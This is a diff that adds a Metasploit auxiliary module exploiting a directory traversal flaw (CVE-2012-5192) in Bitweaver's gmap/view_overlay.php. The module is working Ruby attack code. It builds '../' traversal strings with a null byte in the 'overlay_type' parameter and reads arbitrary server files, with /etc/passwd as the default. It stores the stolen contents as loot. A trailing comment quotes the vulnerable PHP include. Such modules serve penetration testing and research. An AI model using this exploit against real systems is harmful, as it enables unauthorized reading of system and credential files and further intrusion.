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+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Bitweaver overlay_type Directory Traversal',
+			'Description'    => %q{
+					This module exploits a directory traversal vulnerability found in Bitweaver.
+				When hanlding the 'overlay_type' parameter, view_overlay.php fails to do any
+				path checking/filtering, which can be abused to read any file outside the
+				virtual directory.
+			},
+			'References'     =>
+				[
+					['CVE', '2012-5192'],
+					['OSVDB', '86599'],
+					['EDB', '22216'],
+					['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-016.txt']
+				],
+			'Author'         =>
+				[
+					'David Aaron',       # Trustwave SpiderLabs
+					'Jonathan Claudius', # Trustwave SpiderLabs
+					'sinn3r'             # Metasploit
+				],
+			'License'        => MSF_LICENSE,
+			'DisclosureDate' => "Oct 23 2012"
+		))
+
+		register_options(
+			[
+				OptString.new('TARGETURI', [true, 'The URI path to the web application', '/bitweaver/']),
+				OptString.new('FILE',      [true, 'The file to obtain', '/etc/passwd']),
+				OptInt.new('DEPTH',        [true, 'The max traversal depth to root directory', 10])
+			], self.class)
+	end
+
+
+	def run_host(ip)
+		base = target_uri.path
+		base << '/' if base[-1,1] != '/'
+
+		peer = "#{ip}:#{rport}"
+		fname = datastore['FILE']
+		fname = fname[1, fname.length] if fname =~ /^\//
+
+		print_status("#{peer} - Reading '#{datastore['FILE']}'")
+		traverse = "../" * datastore['DEPTH']
+		res = send_request_cgi({
+			'method'        => 'GET',
+			'encode_params' => false,
+			'uri'           => "#{base}gmap/view_overlay.php",
+			'vars_get'      => {
+				'overlay_type' => "#{traverse}#{fname}%00"
+			}
+		})
+
+		if res and res.code == 200 and res.body =~ /failed to open stream\: No such file/
+			print_error("#{peer} - Cannot read '#{fname}'. File does not exist.")
+
+		elsif res and res.code == 200 and res.body =~ /failed to open stream\: Permission denied/
+			print_error("#{peer} - Cannot read '#{fname}'. Permission denied.")
+
+		elsif res and res.code == 200 and res.body =~ /Failed opening required/
+			print_error("#{peer} - Cannot read '#{fname}'. Possibly not vulnerable.")
+
+		elsif res and res.code == 200
+			data = res.body
+			data = (data.scan(/(.+)\n(<br \/>)*\n*.+Notice.+/m).flatten[0] || '').gsub(/\n<br \/>$/, '')
+
+			p = store_loot(
+				'bitweaver.overlay_type',
+				'application/octet-stream',
+				ip,
+				data,
+				fname
+			)
+
+			vprint_line(data)
+			print_good("#{peer} - #{datastore['FILE']} stored as '#{p}'")
+
+		else
+			print_error("#{peer} - Request failed due to some unknown reason")
+		end
+	end
+
+end
+
+=begin
+if( !empty( $_REQUEST['overlay_type'] ) ){
+        $type = $_REQUEST['overlay_type'];
+}
+
+// Now check permissions to access this page
+$gBitSystem->verifyPermission('p_gmap_overlay_view' );
+
+// Get the overlay for specified overylay_id
+require_once(GMAP_PKG_PATH.'lookup_'.$type.'_inc.php' );
+=end